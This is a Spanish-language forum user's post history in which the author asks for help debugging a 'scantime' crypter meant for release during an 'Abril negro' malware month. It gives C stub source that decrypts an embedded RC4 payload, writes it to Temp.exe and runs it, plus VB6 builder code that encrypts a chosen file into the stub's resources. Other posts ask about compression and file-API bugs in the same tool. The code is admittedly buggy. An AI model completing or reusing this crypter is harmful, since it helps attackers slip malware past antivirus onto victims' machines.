Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - illuminat3d

#81
Bueno hace varios dias que llevo con este problemilla por mas que he preguntado a amiguetes que conocen C no encuentran el error.. es un crypter 'scantime' y mando los datos del cifrado por recursos, no se que estoy haciendo mal para que el stub no haga ninguna acción, y no veo el error.

El encriptador está en VB6, os pongo el binario por si me queréis ayudar probandolo con el stub, mirandolo con un editor de recursos para ver si pasa los datos bien etc (pero si los pasa bien..) aqui os lo dejo (el encriptador en VB6).

El stub está metido como recurso en el encriptador, asi que si queréis probar o algo necesitaréis meterlo de nuevo y sobreescribir el otro.

Este es el code del stub en C (compilado con Visual C++ 6) :

#pragma optimize("gsy", on)
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/ENTRY:main")

#include <windows.h>

LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen);

void main()
{
HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA);
DWORD Size=SizeofResource(GetModuleHandle(NULL),hRes);
MessageBoxA(0,"1","",0);

LPSTR Buff=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size);
LPSTR tFile=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MAX_PATH);
MessageBoxA(0,"2","",0);

HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
Buff=(LPSTR)LockResource(hBuff);
LPSTR xPass=&Buff[Size-11];

Buff=RC4(Buff,xPass,Size-11,10);
MessageBoxA(0,"4","",0);
GetTempPath(MAX_PATH,tFile);
lstrcatA(tFile,"\\Temp.exe");

HANDLE hFile=CreateFile(tFile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(hFile,Buff,Size,0,0);
CloseHandle(hFile);

ShellExecute(NULL,NULL,tFile,NULL,NULL,1);
}

LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen)
{
int i, j = 0, s[256];
DWORD dw;
BYTE tmp;
LPBYTE Buf = (LPBYTE)szBuf;
LPBYTE Key = (LPBYTE)szKey;
for(i = 0; i < 256; i++)
{
s[i] = i;
}
for(i = 0; i < 256; i++)
{
j = (j + s[i] + Key[i % dwKeyLen]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
for(dw = 0; dw < dwBufLen; dw++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
Buf[dw] ^= s[(s[i] + s[j]) % 256];
}
return (LPSTR)Buf;
}


Los MessageBox para saber hasta donde llegaba, ya que todavia no me manejo bien con el Olly xD
A ver si podeis encontrar el error y hacerme algunas recomendaciones, y lo publico para el abril negro =)

Saludos! ;D

PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?  :-\
#82
Nadie sabe?
#83
Bueno estoy guiandome de un Tips de Leandro y de la MSDN, pero aun sigo teniendo problemas para comprimir los datos de una variable.

Código (vb) [Seleccionar]
Public Declare Function RtlGetCompressionWorkSpaceSize Lib "NTDLL" (ByVal flags As Integer, WorkSpaceSize As Long, UNKNOWN_PARAMETER As Long) As Long
Public Declare Function RtlCompressBuffer Lib "NTDLL" (ByVal flags As Integer, ByVal BuffUnCompressed As Long, ByVal UnCompSize As Long, ByVal BuffCompressed As Long, ByVal CompBuffSize As Long, ByVal UNKNOWN_PARAMETER As Long, OutputSize As Long, ByVal WorkSpace As Long) As Long
Public Declare Function RtlDecompressBuffer Lib "NTDLL" (ByVal flags As Integer, ByVal BuffUnCompressed As Long, ByVal UnCompSize As Long, ByVal BuffCompressed As Long, ByVal CompBuffSize As Long, OutputSize As Long) As Long


Public Function Compress(Data As String) As String
Dim lenCompress    As Long
Dim xWorkSpace     As Long
 
  RtlGetCompressionWorkSpaceSize 2, xWorkSpace, 0
  RtlCompressBuffer 2, VarPtr(Data), LenB(Data), VarPtr(Compress), LenB(Compress), 4096, lenCompress, xWorkSpace
  Debug.Print Len(Compress)
End Function


Que puede ser? x)

PD : Me crashea..

#84
Abril negro / Re: Abril Negro 2010
1 Abril 2010, 16:54 PM
Me encanta este mes, aparte de que cumpla en este mes.. cada programador saca su lado mas malvado de dentro  >:D
A ver si me animo y me doy prisa.. y publico algo lindo en C =P

Saludos!  ;D
#85
Nada.. lo tendré que hace rcon Open for binary..  :-X
#86
Me sigue sin funcionar B0X.. he probado con CREATE_NEW y tampoco funciona.
#87
Look :



Me crea un archivo de 0 bytes.. =/

Saludos! :huh:

#88
Cita de: BlackZeroX▓▓▒▒░░ en 26 Marzo 2010, 23:06 PM

no es un reemplazo de codigo.

solo es en lugar de pasarle el strconv()

hacerle un:
Lbound(xres), Ubound(xres)
en lugar de
sRes, Len(sRes)

teniendo mejor velocidad

P.D.: Es graciosa la forma de calcular el porcentaje.

Dulces Lunas!¡.


B0x tu y tus 'tikismikadas'  :laugh:
A que mola mi calculo de porcentaje  :xD

Bueno eso que me has dejado es para aumentar la velocidad tal.. pero para corregir los problemas que tengo con esas dos APIs? que es lo que me interesa realmente.

#89
Alguna solución a mis problemas?, no quiero reemplazar code.. quiero solucionarlo.
#90
Bueno me está pasando algo raro con estas dos API's.. el problema de WriteFile es que me escribe un archivo de 100MB cuando el contenido de la variable solo es de 8kb, y el problema de ReadFile es que no me mete los datos a la variable.

Os dejo el source :

API's :

Código (vb) [Seleccionar]
Public Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
Public Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByRef lpOverlapped As Any) As Long



Código (vb) [Seleccionar]
Public Function cFile(Path As String)
xRes = LoadResData(101, "STUB")
sRes = StrConv(xRes, vbUnicode)

frmMain.lPorcent.Caption = "20%"

hFile = CreateFile(Path, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0, 0)
WriteFile hFile, sRes, Len(sRes), 0, 0
CloseHandle hFile

frmMain.lPorcent.Caption = "30%"

hFile = CreateFile(frmMain.txtFile.Text, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0)
sFile = GetFileSize(hFile, 0)
ReadFile hFile, Buff, sFile, 0, 0
CloseHandle hFile

frmMain.lPorcent.Caption = "40%"

Buff = RC4(Buff, frmMain.txtPass.Text) & frmMain.txtPass.Text

frmMain.lPorcent.Caption = "90%"

hRes = BeginUpdateResource(Path, vbTrue)
UpdateResource hRes, "DATA", RT_RCDATA, 0, Buff, Len(Buff)
EndUpdateResource hRes, vbFalse

frmMain.lPorcent.Caption = "100% - Encrypted!"
End Function


Estoy haciendo un crypter en VB6/C y decidí hacerlo todo con API's.

Saludos! :huh: